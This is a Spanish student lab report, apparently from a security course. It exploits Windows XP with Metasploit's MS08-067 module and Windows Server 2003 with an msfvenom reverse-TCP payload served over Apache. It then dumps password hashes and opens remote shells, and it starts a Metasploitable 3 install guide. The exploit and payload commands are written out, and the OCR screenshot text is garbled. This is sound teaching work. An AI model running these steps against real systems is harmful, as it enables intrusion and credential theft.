templatel
Contrasena para usuario postgres:
psql (17.5 (pebian 17.5-1), servidor B8.3.1)
ADVERTENCIA: psql version mayor 17, servidor version mayor 8.3.

Algunas caracteristicas de psql podrian no funcionar.
Digite «help» para obtener ayuda.

postgres=#
postgres:a
postgres=#

Figura 44. Ingresamos a Postgres Desde Otra Terminal

Usando el comando sql -h 192.1.1.6 -U postgres templatel ingresamos a la base de dato
con nuestro usuario y contrasefia que configuramos culminando asi con el informe y la practica

de los temas vistos en clase.
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3. Capitulo 3: Uso de la herramienta Meterpreter en la Explotacion de Maquinas

Virtuales

3.1. Introduccion Del Capitulo

Este capitulo presenta el desarrollo completo de una practica en la cual se realizaron
pruebas de explotacion sobre sistemas operativos Windows XP y Windows Server 2003
desde una maquina con Kali Linux. El objetivo principal fue demostrar el proceso necesario
para generar un archivo malicioso (payload), transferirlo a la maquina victima, ejecutarlo y
establecer una conexion remota utilizando la herramienta Metasploit.

Durante la practica, se siguieron diferentes etapas: preparacion del entorno, creacion
del ejecutable central.exe, configuracion de un servidor web para su descarga, ejecucion del
archivo en la maquina Windows y posterior conexion mediante el moédulo multi/handler de
Metasploit. A través de estas acciones, se logrd establecer una sesion con Meterpreter que
permitid ejecutar comandos, obtener informacion del sistema y confirmar el nivel de control
alcanzado.

Todo el procedimiento se realizé en un entorno de laboratorio con fines académicos,
lo que permitié6 comprender como funciona el flujo de una explotacion practica desde la
creacion del payload hasta la interaccion con el sistema comprometido. Este ejercicio es
fundamental para reforzar conocimientos sobre herramientas de auditoria y métodos de

prueba utilizados en entornos controlados.
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3.2. Objetivos

3.2.1 Objetivo general
Realizar una auditoria practica de explotacion sobre sistemas Windows XP y Windows
Server 2003 desde un entorno Kali Linux, con el fin de identificar vulnerabilidades criticas y

evidenciar el impacto de no aplicar actualizaciones de seguridad en sistemas obsoletos.

3.2.2 Objetivos especificos
e Preparar el entorno de laboratorio con las maquinas necesarias para la simulacion
del ataque.
e Generar y configurar un payload para establecer una conexion remota con el
sistema objetivo.
e Ejecutar el proceso de explotacion utilizando Metasploit y confirmar el acceso

mediante sesiones de Meterpreter.
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3.3. Planteamiento Del Problema de Este Capitulo
Demostrar de forma practica como es posible comprometer un sistema Windows obsoleto
mediante la ejecucion de un archivo generado desde Kali Linux y la conexion posterior con
Metasploit. La dificultad principal consiste en realizar cada paso correctamente para que la
explotacion sea exitosa, desde la preparacion del archivo ejecutable hasta la apertura de la sesion

remota.

Durante la practica se planteo el reto de configurar adecuadamente la ruta del payload,
establecer los permisos correctos para que pudiera descargarse desde el navegador y asegurarse
de que el servidor Windows pudiera ejecutar el archivo sin inconvenientes. Una vez superados
estos puntos, el siguiente desafio fue configurar Metasploit con los parametros adecuados

(LHOST, LPORT, tipo de payload) para que la conexion se estableciera de forma estable.
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3.4. Explotacion de Kali Linux a Windows XP
En este paso lo que hice fue abrir la herramienta Metasploit desde mi maquina Kali
Linux. Para eso utilicé el comando msfconsole, que es el que inicia la consola principal del
programa. Una vez se cargd, me aparecio la pantalla de bienvenida con el logo en ASCII y un
mensaje caracteristico que muestra Metasploit.
Este es basicamente el punto de partida para comenzar a trabajar con la herramienta, ya
que desde aqui puedo buscar exploits, configurarlos y usarlos contra la maquina objetivo. Es

decir, estoy preparando el entorno para iniciar la explotacién de vulnerabilidades més adelante.

Figura 45. Consola de Metasploi

Después de iniciar Metasploit, lo que hice fue comenzar a buscar exploits que estuvieran
relacionados con el servicio NetAPI, ya que este es uno de los més conocidos por tener
vulnerabilidades en sistemas Windows antiguos. Para esto usé el comando search netapi.

El sistema me devolvid una lista de varios exploits disponibles, entre ellos los mas
conocidos como el MS08-067, que aparece en la parte inferior de la lista. Este exploit es

famoso
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porque aprovecha una falla grave en el servicio de red de Windows y fue uno de los mas

utilizados en su momento para comprometer equipos con Windows XP y 2003.
Basicamente, en este punto lo que estaba haciendo era identificar qué vulnerabilidad

podia ser explotada en la maquina victima, y verificar que Metasploit tiene modulos listos

para trabajar con esa debilidad.

root@kali: homekali = x
File Actions Edit View Help

rosoft Workstation Service NetpMana

508-067 Microsoft Server Service Relative Path Stack Corruj

Figura 46. Busqueda de Exploits

En esta parte ya seleccioné el exploit que iba a utilizar. Me decidi por el MS08-067,
que es uno de los mas efectivos para aprovechar vulnerabilidades en equipos con Windows
XP 0 2003. Para hacerlo, escribi el comando use exploit/windows/smb/ms08 067 netapi y
con eso cargué el modulo dentro de Metasploit.

Luego, revisé las opciones disponibles con el comando show options. Alli se
muestran los parametros que necesito configurar antes de lanzar el ataque. Entre esos
aparece el RHOST, que es la direccion IP de la maquina victima; el RPORT, que en este

caso es el puerto 445 (por
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donde funciona el servicio SMB); y ademas el payload que se va a usar, que en este caso es

windows/meterpreter/reverse tcp.

E @ono BC

B root@kali: home/kali - 8 X

File Actions Edit View Help

set a TARGET with
terpreter/reverse_tcp
u options
067_netapi):
Required Descriptis

ploit.html

Figura 47. Seleccion del Exploit

En este punto lo que hice fue configurar la direccion IP de la maquina victima. Para
eso utilicé el comando set RHOSTS 10.10.10.8, que corresponde al equipo objetivo al que
quiero atacar. Después volvi a ejecutar show options para confirmar que la configuracion se
hubiera guardado correctamente.

Como se puede ver en la pantalla, ahora el pardmetro RHOSTS ya muestra la IP de
destino (10.10.10.8). Los demaés valores, como el puerto 445, ya estaban por defecto porque
ese es el que usa el servicio SMB, y el payload sigue siendo
windows/meterpreter/reverse_tcp.

Con este paso dejé el exploit listo para ejecutarse sobre la maquina victima, ya que ahora

Metasploit sabe contra qué direccion debe lanzar el ataque.



root@kali: home/kali = X

File Actions Edit View Help

Exploit target:

Id Name

© Automatic Targeting

Module opt
LELT
RHOS .10 tasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT
SMBPIPE B

vaemg ) W A D : 2P @ A
Figura 48. Configurar la Direccion IP de la Maquina Victima

Aqui lo que hice fue configurar el payload que iba a usar, en este caso
windows/meterpreter/reverse_tcp. Esto significa que, si el exploit funciona, voy a obtener una

conexion remota con la maquina victima usando Meterpreter.

Luego ejecuté el comando exploit para lanzar el ataque. El sistema empez0 a trabajar:
primero detecto el objetivo, que resultd ser un Windows XP con idioma en espaiol, y después

intento aprovechar la vulnerabilidad.

El ataque fue exitoso porque se abri6 una sesion de Meterpreter, lo cual indica que logré
acceso al equipo de la victima. Sin embargo, la sesion se cerr6 rapidamente con el mensaje

“Reason: Died”.



the full module info with the command.

load windo
r/reverse_

10.
10.10.10.¢
10.10.10.¢

handler on 1.

- lang:Spanish

ility ...

38:09 -0500

Reason: Died

Figura 49. Configurar el Payload
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Ejecuté nuevamente el exploit contra la maquina victima. El sistema reconoci6 otra vez
que se trataba de un Windows XP con Service Pack 3 en espaiiol, y luego envi6 la carga

maliciosa para aprovechar la vulnerabilidad.

En este intento, el ataque fue exitoso y logré abrir varias sesiones activas de
Meterpreter, lo cual me dio acceso remoto estable al equipo objetivo. Esto significa que
consegui tomar el control de la maquina comprometida y desde este punto podria ejecutar

comandos, explorar archivos o incluso mantener el acceso de forma persistente.

Con este resultado confirmé que el exploit MS08-067 funciona correctamente en la

victima seleccionada y que es posible comprometer equipos vulnerables a través de esta falla.

msf6 exploit(

- lang:Spanish
nish (NX)

50) at 2025-09-03 0

10.10.10.8:1037) a

Figura 50. Ejecucion Del Exploit de La Maquina

En esta parte logré comprobar que la explotacion fue totalmente exitosa. Desde la sesion
de Meterpreter, abri un servicio VNC que me permitid visualizar y controlar de forma remota el

escritorio de la maquina victima, la cual corre Windows XP.

En la ventana se puede ver claramente que tuve acceso al sistema operativo, incluso
abriendo una terminal de comandos donde ejecuté el comando ipconfig. Con esto confirmé que
efectivamente estaba dentro de la red de la victima, mostrando la direccion IP del equipo

comprometido (10.10.10.8) y sus configuraciones de red.



Este resultado es la prueba méas evidente de que el ataque funciono, ya que no solo logré
abrir una sesion con Meterpreter, sino también controlar graficamente la maquina objetivo como

si estuviera frente a ella.
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Figura 51. Acceso Remoto Exitoso

Luego ejecuté el comando sysinfo, con el cual confirmé que la maquina comprometida
correspondia a un Windows XP SP3 (version 5.1, build 2600), arquitectura x86, en idioma

espafiol, dentro del dominio INICIOMS, y que ademas tenia 2 usuarios activos en sesion.

Con este procedimiento verifiqué que no solo contaba con acceso por consola, sino
también con control visual e interactivo del entorno grafico del sistema, lo cual amplia

significativamente las posibilidades de manipulacion dentro del ejercicio de explotacion.

XP (5.1 Build 2600, Service Pack 3).

Figura 52. Ejecucion Del Comando Sysinfo

Después de establecer la sesion con la maquina victima, ejecuté el comando getuid en

meterpreter para comprobar con qué nivel de privilegios habia logrado acceder al sistema. El



resultado mostré que mi usuario activo correspondia a NT AUTHORITY\SYSTEM, lo

cual significa que obtuve los méximos privilegios dentro del sistema operativo.

Esto confirma que la explotacion fue totalmente exitosa, ya que no solo consegui una
sesion de meterpreter y acceso al escritorio remoto mediante VNC, sino también el control

absoluto de la maquina victima con permisos de administrador a nivel de sistema.

er > getuld
=T username: NT AUTHORITYA\SYSTEM

- I

‘preter

Figura 53. Ejecucion Del Comando Comando Getuid

Una vez confirmé que ya me encontraba ejecutando la sesion con privilegios de
SYSTEM, utilicé el comando getsystem para verificar si era posible elevar privilegios, pero el
resultado mostr6 que ya estaba corriendo como SYSTEM, lo que ratifico mi control absoluto

sobre la maquina.

Posteriormente, ejecuté el comando hashdump, el cual me permiti6 extraer los hashes de
las contrasefias almacenadas en el sistema operativo. Como resultado, obtuve los registros de

varios usuarios locales, entre ellos:

¢ Administrador

e Asistente de ayuda

e Invitado

e SUPPORT 388945a0

e Yeco

Con esta informacidn, confirmé que no solo tenia el control total de la maquina, sino

también acceso a los hashes de credenciales que podrian ser crackeados posteriormente para



obtener las contrasefias en texto plano. Este paso demuestra como, a través de la
explotacion exitosa, es posible comprometer completamente la seguridad del sistema y acceder a

informacion altamente sensible.

Figura 54. Ejecucion Del Getsystem

En esta parte lo que hice fue listar todos los procesos que se estaban ejecutando en el
sistema comprometido. Para eso usé el comando ps dentro de la sesion de meterpreter. Con este
resultado pude ver el nombre de cada proceso, el usuario que lo estaba ejecutando y la ruta desde
donde se estaba corriendo en Windows. Esto es importante porque me permite identificar
procesos criticos del sistema como explorer.exe, Isass.exe o svchost.exe, y también ver si hay

alguno sospechoso que me pueda servir para seguir con la explotacion o para mantener el acceso.

Name ion User

m Process]
NT AUTHORT
YEIBER-E7ESFEG:!
YEIBER-E7ESF
NT AUTHORT
NT AUTHORT
NT AUTHORITY
YEIBER-EYES
NT AUTHOR
/ e NT AUTHI

6 -ex @ NT AUTHI

644 e @ NT AUTHI

644 @ ervicio de red

976 clt.exe @ YEIBER-E7ESFEG. co
NT AUTHORITY
NT AUTHORITY
NT AUTHORITY

i
WINDO
WINDO

logon.scr

Figura 55. Ejecucion Del Comando PS
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Aqui lo que hice fue usar el comando ipconfig dentro de la sesion de meterpreter para
revisar la configuracion de red de la maquina a la que accedi. Con esta informacion pude ver
las interfaces de red disponibles, incluyendo la direccion IP asignada, que en este caso es
10.10.10.8, junto con su mascara de red. Esto me sirve para saber en qué red interna se
encuentra el equipo, qué conexion estd usando y también para planear posibles movimientos

laterales hacia otros dispositivos conectados en la misma red.

> ipconfig

interface
00

rvidor PRO/100@ T de Intel(R) - Minipuerto del administrador de paguetes
69

Figura 56. Comando Ipconfig

En este paso utilicé el comando shell desde meterpreter para abrir una consola
directamente en el sistema comprometido. Esto me permitié interactuar con el equipo victima
como si estuviera sentado frente a ¢l. Al ejecutarlo, se cre6 un nuevo proceso y un canal de
comunicacion, y logré acceder a la linea de comandos de Windows XP en la carpeta
C:\WINDOWS\system32. Con este acceso ya puedo lanzar comandos propios de Windows, lo

que me da un mayor control sobre la maquina.
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CIA\WINDOWS\system32>

Figura 57. shell

Una vez dentro de la consola de Windows, utilicé el comando ed .. dos veces para
moverme hacia atrés en las carpetas. Al principio estaba ubicado en C:\WINDOWS\system32,
luego pasé a la carpeta C:\WINDOWS y finalmente llegué al directorio raiz **C:**. Con este
movimiento lo que hice fue ubicarme en la raiz del sistema para tener un mejor control y poder
explorar mas facilmente el resto de los directorios del equipo.

C:\WINDOWS\system32>cd
cd

C: \WINDOWS>

C:\WINDOWS>cd
cd

C:\>I

Figura 58. Comando cd

Aqui lo que hice fue usar el comando dir para listar el contenido del directorio principal
*EC:**, Al ejecutar el comando pude ver las carpetas més importantes del sistema, como
Archivos de programa, Documents and Settings y WINDOWS, ademas de algunos archivos

de configuracion como AUTOEXEC.BAT y CONFIG.SYS. Esta informacion me sirve para



tener un panorama general de como estéd organizado el sistema y desde donde puedo seguir

explorando informacién relevante del equipo.

El volumen de la unidad C no tiene et
El nemero de serie del volumen es: 5C6

Directorio de

WINDOW
@b

Figura 59. Comando dir

En esta parte me movi hacia la carpeta Documents and Settings usando el comando ed
Doc*, que me permiti6 acceder rapidamente sin escribir el nombre completo. Una vez dentro,
ejecuté el comando dir para ver su contenido. Alli pude observar las carpetas de usuarios como
All Users y Yeco, lo que me confirma que el sistema tiene varias cuentas registradas. Este paso es
importante porque me da la posibilidad de explorar los archivos y configuraciones de cada

usuario, donde generalmente se guarda informacion sensible.

C:h\>cd Docx
cd Docx

Documents and Settings>dir
dir
El volumen de la unidad C no tie
ELl nemero de rie del volumen es

Directorio de

All Users

Yeco

arc bytes

4 dirs D.B5@.487.296 bytes libres

2}

Documents and Settings>[]

Figura 60. Carpeta Documents

Aqui entré a la carpeta del usuario Yeco usando el comando cd Ye* y después ejecuté dir
para ver su contenido. Dentro de este directorio encontré las carpetas tipicas de un perfil de

usuario en Windows, como Escritorio, Favoritos, Menu Inicio y Mis documentos.



Esto confirma que estoy navegando en los archivos personales del usuario, lo cual es muy
util porque en estas carpetas normalmente se guarda informacion privada, accesos directos o

configuraciones que pueden darme mas pistas para la auditoria.
ocuments and Settings>cd Yex

ocuments and Eetting

| volumen de la unidad C no tiene etiqueta.
| ne#mero de serie del volumen es: 5C6F-9766

Favoritos
Men® Inic
Mis docum
@ archivos @ by
6 dirs 40.050.487.296 bytes libres

C:\Documents and Setting co>]

Figura 61. Comando cd Ye*

En este ultimo paso accedi al Escritorio del usuario Yeco utilizando el comando cd Es* y
luego ejecuté dir para ver qué archivos tenia alli guardados. El resultado mostré que en esa
carpeta no habia ninglin archivo almacenado, solamente los directorios por defecto (“.” y “..”).
Aunque no encontré nada en el Escritorio, este recorrido me permitié confirmar que tenia acceso

total a la informacién personal del usuario, lo que es clave dentro de la practica de auditoria de

seguridad.

Jocuments and Settings co>cd Es*

Jocuments and Settings \Escritorio>dir

di
ElL volumen de la unidad C no tiene
El neémero de serie del volumen es:

Directorio de C:“\Documents and Settings

igum 62. Comando cd Es*



Aqui lo que hice fue crear nuevas carpetas en el Escritorio del usuario Yeco. Primero
utilicé el comando mkdir LAB-FELIPE y verifiqué con dir que la carpeta se habia creado
correctamente. Luego repeti el mismo procedimiento con el comando mkdir LAB-ASPRILLA,
y nuevamente comprobé con dir que ahora en el Escritorio existian las dos carpetas creadas. Con
este ejercicio confirmé que tenia permisos de escritura en el sistema, lo cual significa que podia

no solo leer informacioén, sino también modificar y crear archivos en la maquina comprometida.

C:\Documents and oh\Escritorio>mkdir LAB-FELIPE
mkdir LAB-FELIPE

C:\Documents and Setting o%ZEscritorio>dir
di

El volumen

EL nemero

Directorio d Documents and Set

torio>mkdir LAB-ASPRILLA

oM\Escritorio>dir

unidad C ti igueta.
e del volume 5C6F-9766

Documents and Setti

LAB-ASPRILLA
LABE-FELIPE

Jocuments and

Figura 63. Comando Mkdir LAB-FELIPE

En esta ultima captura se puede ver en el Escritorio de Windows que efectivamente
quedaron creadas las carpetas LAB-FELIPE y LAB-ASPRILLA, tal como lo hice desde la
consola. Esto confirma que los comandos que ejecuté funcionaron correctamente y que los
cambios se reflejaron de manera visible en el sistema victima. Con esto demostré que no solo
pude acceder y explorar el equipo, sino también modificarlo, lo cual es un indicador claro del

nivel de control alcanzado durante la practica.



LAB-FELIPE

LAB-ASPRILLA

Figura 64. Carpetas LAB-FELIPE y LAB-ASPRILLA

Primero, creé¢ una carpeta llamada Laboratorio-asprilla para organizar todo el trabajo
del ejercicio. Luego entré en esa carpeta para empezar a trabajar dentro de ella. Después, utilicé
una herramienta para generar un archivo ejecutable que me iba a permitir conectarme de forma
remota a la maquina Windows. Al principio cometi un error porque puse mal la ruta del archivo y
no se pudo crear.

Luego corregi el comando y volvi a generarlo, esta vez en la carpeta correcta. El archivo
se cred con éxito y se llamo central.exe. Este archivo serd el que se ejecute en el servidor
Windows para poder establecer la conexion.

3.5. Explotacion de Kali Linux a Windows server 2003

Abri el navegador en la maquina Windows y escribi la direccion del servidor
(http://10.10.10.5). Al cargar la pagina, me aparecio la pantalla por defecto de Apache2 en
Debian, lo que significa que el servidor web esta funcionando correctamente. Esta pagina indica
que el servicio estd activo y que puedo seguir trabajando con los archivos que suba a la carpeta

del servidor web.


http://10.10.10.5/

3 Index of / - Microsoft Internet Explorer

Archivo  Edicién  Ver FEavoritos Herramientas  Ayuda ],1,'
Qatrds ~ ) - (x) 2] | sisqueda cFavorkos £ | - o (3
Direccién [&] http:/710.10.10.5/ =] B | Vincuos >
@ Apache2 Debian Default Page
debian
This is the default welcome page used to test the correct operation of the Apache2 server after 2

installation on Debian systems, If you can read this page, it means that the Apache HTTP server install
at this site is working properly. You should replace this file (located at /var/wwne/html/index. html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split in
several files optimized for interaction with Debian tools. The configuration system is fully documente:
in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full documentation.
Documentation for the web server itself can be found by accessing the manual if the apache2-doc
package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

]
(3] T @kt
Biwnicio| | & (3 |[€)Apachez Debian Defa... | B[© 1940

Figura 65. Apache?2 en Debian

Primero creé una carpeta llamada Laboratorio-asprilla para organizar el trabajo. Entré
en esa carpeta y utilicé la herramienta msfvenom para generar un archivo ejecutable que me

permitiera conectarme de forma remota al servidor Windows.

Al principio, cometi un error en la ruta donde iba a guardar el archivo, por eso el

comando no funciond. Luego corregi la ruta y volvi a generar el payload correctamente con el

nombre central.exe. Finalmente, comprobé que el archivo se cre6 bien ejecutando el comando ls,

y ahi aparecio el ejecutable listo para usar.



tcp LHOST=18.10.18.5 LPORT=4444 -f exe > /home/kali/Lab-andres/central.exe

T=10.10.10.5 LPORT=4444 - exe /home/kali/Laboratorio-asprilla/

Figura 66. Carpeta Laboratorio-asprilla

Después de generar el archivo central.exe, lo copié a la carpeta donde se guardan los
archivos que se pueden descargar desde el navegador, que es /var/www/html/. Para poder

hacerlo, utilicé permisos de administrador porque esa carpeta es del sistema.

Luego le cambié los permisos al archivo para que pudiera ser ejecutado sin problemas por
otros usuarios, asignandole permisos 755. Por tltimo, entré a la carpeta /var/www/html/ y
verifiqué que el archivo central.exe se habia copiado correctamente, junto con otros archivos que

ya estaban ahi.

C:\home', “Laboratorio-asprilla> sudo cp central.exe /var/vww/html/
[sudo] password for kali:

C:\homehZkalisLaboratorio-asprilla> sudc od 755 /var/www/html/central.exe
Civhomelkali\Laboratorio-asprilla> cd /var/www/html/

wihtml> 1
central.exe factura.exe indexfs.html index.nginx-debian.html

C:hvar\wa\html> [

Figura 67. Archivo Central.exe

Luego, desde la maquina Windows Server 2003, abri el navegador Internet Explorer y
accedi a la direccion del servidor (http://10.10.10.5) para ver los archivos que estaban

disponibles. Entre ellos estaba el archivo central.exe que habia colocado antes.

Hice clic en el archivo y apareci6 la opcion para descargarlo. Lo guardé en el escritorio

del servidor para tenerlo a la mano y poder ejecutarlo después.


http://10.10.10.5/
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Figura 68. maquina Windows Server 2003

Después de descargar el archivo desde el navegador, verifiqué que el ejecutable
central.exe se encontraba en el escritorio del servidor Windows. Esto me confirma que el

archivo se copid y descargd correctamente, y ya esta listo para ejecutarlo cuando lo necesite.

Figura 69. Ejecutable central.exe



Después de preparar todo, abri la herramienta Metasploit en Kali Linux usando el
comando msfconsole. Esta herramienta sirve para gestionar los ataques y establecer la conexion

con el archivo que se va a ejecutar en el servidor.

Al iniciar, aparece una animacion divertida que simula accesos denegados con mensajes
como “YOU DIDN'T SAY THE MAGIC WORD?”, pero esto solo es una parte estética. Luego

cargo6 correctamente la consola, donde ya se puede empezar a configurar el exploit.

o \html> f 1
ploit tip: Use the edit command to open the currently active module
in your editor

Security Int

security
PERMISSION DENIED.
> access security grid
ON DENTED.
curity grid
DENIED....a

Figura 70. comando msfconsole

Una vez en Metasploit, configuré el modulo necesario para conectarme con el archivo
que se ejecuto en el servidor Windows. Primero seleccioné el exploit multi/handler, que sirve
para recibir la conexion. Después, indiqué el tipo de conexion que iba a usar, que en este caso fue

meterpreter reverse TCP.

Luego configuré mi direccion IP (LHOST) y el puerto (LPORT) para que el servidor
supiera a donde conectarse. Finalmente ejecuté el exploit y, como se ve en la imagen, se
establecio la sesion correctamente. Esto significa que ya tenia acceso remoto al servidor

Windows 2003 desde mi Kali Linux.



Metasploit Documentation: https://docs.metasploit.com/

msfé >

hell_reverse_tcp
d windows/meterpreter/reverse_tcp

/T cp
) > set LHOST 1@.10.10.5

) > set LPORT 4444
> exploit
TCP handler on 10.10.10.5:4444

76198 to 10.10.10.10
(10.10.10.5:4444 — 10.10.10.10:1049) at 2025-09-03 03:17:25 -0500

Figura 71. Ejecucion en el Servidor Windows

Después de tener la conexion establecida con meterpreter, utilicé el comando sysinfo
para obtener informacion del sistema comprometido. Pude confirmar que se trataba de un
Windows Server 2003, con arquitectura x86, en idioma espafiol y que habia dos usuarios

conectados. Esto me permite comprobar que la explotacion fue exitosa y que ahora tengo control

sobre el sistema remoto.

5.2 Build 3798, Service Pack 1).

: x86/windows

Figura 72. Comando Sysinfo en Server 2003

Después, utilicé el comando getuid para comprobar el usuario con el que tenia acceso y
confirmé que era el administrador del servidor. Luego ejecuté el comando getsystem para elevar
privilegios y conseguir control total del sistema. El resultado indic6 que la técnica se aplico

correctamente, lo que significa que ahora tengo permisos completos sobre el servidor Windows.

tuid
RVER\Administrador

Figura 73. Comando getuid en Server 2003



Utilicé el comando hashdump para extraer los hashes de las contrasefas de los usuarios
del sistema. Esto me permitio obtener las credenciales cifradas del administrador, el invitado y
otro usuario de soporte. Con estos hashes se podrian intentar ataques posteriores para descifrar
las contrasenas. Esto confirma que el acceso fue completo y que se logro extraer informacion

sensible del servidor.

Invitado:
SUPPORT_3
meterpr

Figura 74. Comando hashdump en Server 2003

Ejecuté el comando netstat desde la sesion de Meterpreter para revisar las conexiones
activas en el servidor Windows. En la lista pude ver claramente que el archivo central.exe esta
en estado ESTABLISHED, lo que indica que la conexion entre el servidor y mi maquina Kali
sigue activa y funcionando correctamente. Esto confirma que la sesion remota esta establecida y

operativa.

meterpreter > netstat

Remote address State

tcp .0 5 0.0.0 LISTEN
tcp 0 ]
tcp

tcp .1e. . 5
tecp 0 .1e. 0 i4444 ESTABLISHED @
udp 0

udp

udp

udp

udp

udp

udp

udp

udp

udp

udp

udp

meterpreter >

Figura 75. Comando netstat en server 2003

Por ultimo, ejecuté el comando shell desde la sesion de Meterpreter para obtener acceso
directo a la linea de comandos del sistema Windows. Esto me permiti6 interactuar con el servidor

como si estuviera fisicamente frente a €I, usando su consola. Al aparecer la ruta



C:\WINDOWS\system32>, confirmé que tengo control total del sistema mediante una consola

remota.
Process 196
Channel 1 ¢ ed.
crosoft Windows [
C:\WINDOWS\system32>[]
Figura 76. Comando shell en server 2003
3.6.Conclusion

Puedo concluir diciendo que la presente practica permitio aplicar de forma progresiva y
estructurada los conocimientos adquiridos sobre analisis de vulnerabilidades y pruebas de
penetracion en entornos controlados. A través del uso de herramientas especializadas como
Nmap y Metasploit Framework, se logré identificar, evaluar y explotar multiples servicios
vulnerables presentes en la maquina virtual Metasploitable, tales como FTP, Telnet, Samba,

MySQL, PostgreSQL y DNS.

Finalizamos diciendo que cada uno de los pasos realizados, desde el escaneo de red, la
deteccion de servicios, hasta la ejecucion de exploits, evidenci6 la importancia de comprender
coémo las configuraciones débiles y las versiones obsoletas pueden ser aprovechadas por un
atacante para obtener acceso no autorizado. Asimismo, se fortalecieron competencias técnicas
relacionadas con la lectura de banners, el uso de modulos de explotacion, la interpretacion de

errores y la validacion de resultados.



4. Capitulo 4: Manuel Para instalar metaplotable 3

4.1.Introduccion
El presente manual describe de manera detallada el procedimiento necesario para llevar a
cabo la descarga e instalacion de Metasploit 3, una de las herramientas mas reconocidas en el
ambito de la seguridad informatica ofensiva. Su propdsito es guiar paso a paso al lector en la
correcta obtencion e implementacion del software dentro de un entorno controlado, garantizando

la comprension de los aspectos técnicos y practicos relacionados con su instalacion inicial.

Este documento esta orientado al desarrollo de competencias en auditoria de seguridad y
pruebas de penetracion, en un marco estrictamente académico y con fines educativos. A lo largo
de las instrucciones, se resaltan aspectos esenciales como la preparacion del entorno, la
configuracion de los recursos necesarios y la verificacion de la correcta instalacion de Metasploit
3. De esta manera, el manual no solo pretende servir como guia técnica para la descarga, sino
también como apoyo en la formacidén de conocimientos basicos de ciberseguridad ofensiva,

fomentando la responsabilidad y el uso ético de las herramientas presentadas.



4.2.Alcance
Este manual tiene como alcance principal llegar a estudiantes, docentes y profesionales
en formacion dentro del area de la seguridad informatica, con el proposito de proporcionar una

guia clara y estructurada sobre el proceso de descarga e instalacion de Metasploit 3.

El documento en cuestion se limita exclusivamente a:

Describir los pasos necesarios para obtener el software de fuentes oficiales.

o Explicar el procedimiento de instalacion en un entorno controlado.

e Detallar las configuraciones basicas requeridas para asegurar el correcto

funcionamiento de la herramienta.

e Presentar recomendaciones para el uso responsable y ético de Metasploit en

contextos académicos y de investigacion.

Dentro del manual no se abordara el uso avanzado de Metasploit Framework ni el
desarrollo de exploits personalizados, ya que su objetivo principal se centra en la instalacion

inicial y en la preparacion del entorno para posteriores practicas de auditoria de seguridad.



4.3.0bjetivos

4.3.1

General

Proporcionar una guia clara y estructurada que permita realizar la descarga e instalacion

de Metasploit 3 de manera correcta, dentro de un entorno controlado, con fines académicos y de

formacion en seguridad informatica.

4.3.2

Especificos

Conseguir Metasploit 3 desde fuentes seguras con el fin de evitar posibles
descargas de virus maliciosos dentro de nuestros pc.

Instalarlo en un entorno controlado, como una maquina virtual de VirtualBox o
VMware, que son softwares para crear maquinas virtuales-

Hacer las configuraciones basicas para que el programa funcione correctamente y
sin mayores problemas.

Tener una primera idea de como preparar tu entorno para futuras practicas de

auditoria y pruebas de seguridad.



4.4. Planteamiento Del Problema

En un entorno cada vez mas digitalizado e interconectado, las organizaciones,
instituciones educativas y usuarios particulares dependen en gran medida de sistemas
informaticos que ofrecen multiples servicios en red. Esta creciente dependencia ha traido consigo
una expansion de la superficie de ataque, es decir, el conjunto de puntos vulnerables por donde
un atacante podria comprometer la seguridad d En la actualidad, la ciberseguridad se ha
convertido en un aspecto esencial para organizaciones, instituciones educativas y usuarios
particulares, debido a la creciente dependencia de sistemas informéticos y redes interconectadas.
Esta realidad ha generado la necesidad de contar con herramientas que permitan comprender,
analizar y mitigar posibles vulnerabilidades antes de que sean aprovechadas por atacantes

malintencionados.

En el ambito académico, uno de los principales retos consiste en brindar a los estudiantes
la posibilidad de adquirir experiencia practica en auditoria de seguridad y pruebas de
penetracion. No obstante, realizar este tipo de practicas directamente sobre sistemas reales
implica riesgos éticos, legales y técnicos que pueden comprometer la estabilidad de los entornos
de trabajo. Por esta razon, el uso de entornos controlados y herramientas especificas se vuelve

indispensable para un aprendizaje responsable y seguro.

Metasploit Framework se ha consolidado como una de las herramientas mas utilizadas
para la explotacion de vulnerabilidades en entornos de practica, ya que facilita la comprension de
conceptos clave de la ciberseguridad ofensiva. Sin embargo, un obstaculo frecuente en los
procesos formativos radica en que muchos estudiantes carecen de una guia clara sobre como
descargar, instalar y configurar correctamente la herramienta, lo que dificulta su

aprovechamiento pleno en escenarios educativos.



Este manual surge como respuesta a dicha necesidad, ofreciendo una explicacion paso a
paso sobre el proceso de descarga e instalacion de Metasploit 3 en un entorno controlado. Con
ello, se busca garantizar que los estudiantes puedan contar con la herramienta lista para su uso,
favoreciendo el desarrollo de competencias practicas en seguridad informatica y fomentando un

aprendizaje ético, seguro y estructurado.

4.5. Elementos Necesarios Para Descargar Metasploitable 3
Lo primero que debemos saber antes de comenzar a descargar Metasploitable 3 es cuales
son los elementos y/o aplicaciones necesarias para poder descargar este repositorio. Las

condiciones necesarias para descargar metasploitable 3 son:

e Tener descargado VirtualBox o cualquier otro gestor de maquinas virtuales que
nos permita tener una o mas maquinas virtuales

e Descargar Vagrant para poder levantar entornos de desarrollo de manera rapida y
segura.

e Tener sistema operativo anfitrion compatible que permita descargar lo antes
mencionado.

e Tener un pc que cumpla con las caracteristicas de hardware optimas para poder
trabajar con este repositorio. Las caracteristicas minimas pueden ser Procesador
con al menos 2 nucleos (idealmente 4 o mas), 8 GB de memoria RAM (minimo 4
GB, pero puede quedarse corto), 60 GB de espacio libre en disco duro.

e Tener una conexion a internet estable para la descarga de dependencias y

repositorios necesario para trabajar con Metasploitable 3.



4.6. Paso 1: Descargamos VirtualBox
Si se tiene descargado VirtualBox se puede omitir este paso, de lo contrario lo primero

que haremos es ir al enlace https://www.virtualbox.org/wiki/Downloads o seguir el paso a paso

que se detallara a continuacion.

4.6.1 ;[ Como Descargar VirtualBox?
El paso a paso para descargar VirtualBox es muy sencillo en realidad, lo primero que
debemos hacer es desde nuestro navegador buscar la pagina oficial de Oracle VirtualBox o

ingresar al enlace dado anteriormente, si se eligio el enlace

7
Asi.

‘ Get Kali | Kali Linux \L Descargas & virtualbox - Buscar con Google x +

